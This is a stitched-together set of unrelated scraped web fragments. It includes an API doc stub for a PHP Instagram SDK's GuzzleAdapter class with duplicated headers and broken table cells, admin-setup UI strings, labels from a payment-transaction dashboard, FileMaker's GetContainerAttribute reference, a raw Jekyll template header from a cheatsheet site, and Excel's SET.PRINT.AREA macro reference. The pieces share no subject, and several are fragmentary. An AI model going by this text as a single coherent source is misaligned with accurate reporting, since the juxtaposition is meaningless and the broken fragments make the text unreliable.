Author: Hassan Khan<EMAIL_ADDRESS>Link: https://github.com/hassankhan/instagram-sdk
Located at Http/Clients/GuzzleAdapter.php
Namespace: Instagram\Http\Clients
Package: Instagram
License: MIT
Author: Hassan Khan<EMAIL_ADDRESS>Link: https://github.com/hassankhan/instagram-sdk
Located at Http/Clients/GuzzleAdapter.php
public
|
|
public
|
|
public
|
#
paginate(
Paginates a |
protected
GuzzleHttp\ClientInterface
|
$guzzle
The Guzzle client instance. |


Admin Setup |
|---|
|
Add admin
Not a valid e-mail address
UserId required. Enter a valid email id Admin added successfully |
|
Reset password
UserId required. Select a email id
Password changed |


acquiring transactions distribution
last 4 hours
acquiring transactions volume
transactions per minute
overall
euronet
euronetpos
mastercard
firstdata
visa
acquiring transactions approved
last 4 hours


GetContainerAttributesourceField - the name of a container field.attributeName - the name of a supported attribute (see below).Some attributes may not return a result. For example, the values for the latitude and longitude of a photo may not be available, or some audio metadata like album art may not be available because the metadata is stored outside the audio file. Some individual attributes in the group attribute all may not be applicable in some circumstances.
The method used to store the data in the container field: Embedded, External (Secure), External (Open), File Reference, Text. A number representing the orientation of the photo:
1 (Normal)
2 (Flipped horizontally)
3 (Rotated 180 degrees)
4 (Flipped vertically)
5 (Rotated 90 degrees counterclockwise and flipped vertically)
6 (Rotated 90 degrees counterclockwise)
7 (Rotated 90 degrees clockwise and flipped vertically)
8 (Rotated 90 degrees clockwise)Note: Photos that were inserted using earlier versions of FileMaker Pro are not automatically oriented; for such photos, not applied is appended to the result. For example, 3 (Rotated 180 degrees), not applied. The track number and count of the audio. For example, 3/12, or 3 if the track count is not available.
• The internalSize can be much smaller than the fileSize (for example, container fields set up for open or secure storage, file references, or compressed files) or much larger than the fileSize (for example, container fields created by plug-ins).
• Using the attribute MD5 allows you to prevent the insertion of duplicated files into a container field regardless of the filename.
• For the group attributes general, audio, image, photo, and all, attributes are displayed in the format attributeName: attributeValue with one attribute per line. Some attributes are displayed differently in order to fit the attribute on one line:
• externalFiles. Displays only the number of external files.
•
•
• bitRate. Displays kbps after the number. If an audio uses a variable bit rate, (VBR) is appended to the result. For example: Bit Rate: 247 kbps (VBR).
• year. Date information may be returned in parentheses after the year. For example: Year: 2014 (11/10/2014).


--- type: website --- {% assign featured_pages = site.pages | where_exp: "page", "page.tags contains 'Featured'" %} {% assign recent_pages = site.pages | where_exp: "page", "page.updated" | sort: "updated", "first" %} {% include 2017/head.html %} {% include 2017/top-nav.html page=page %}
Hey! I'm @rstacruz and this is a modest collection of cheatsheets I've written.


Defines the print area for the workbook—the area that prints when you click the Print command on the File menu. Equivalent to entering a range in the Print Area edit box on the Sheet tab in the Page Setup dialog box, which appears when you click the Page Setup command on the File menu.
Syntax
SET.PRINT.AREA(range)
Range is the reference to the range that you want to be printed. If you specify no range by using a set of empty quotation marks (""), deletes the print area.
Remarks
If you use SET.PRINT.AREA with a multiple selection and then use the PRINT function, the individual selections are printed one after the other in the order they were selected.
To resume printing the entire worksheet, click the Page Setup command on the File menu and click the Sheet tab. Then delete the range in the Print Area edit box.
Related Functions
PRINT Prints the active sheet
SET.PRINT.TITLES Identifies text to print as titles
Return to index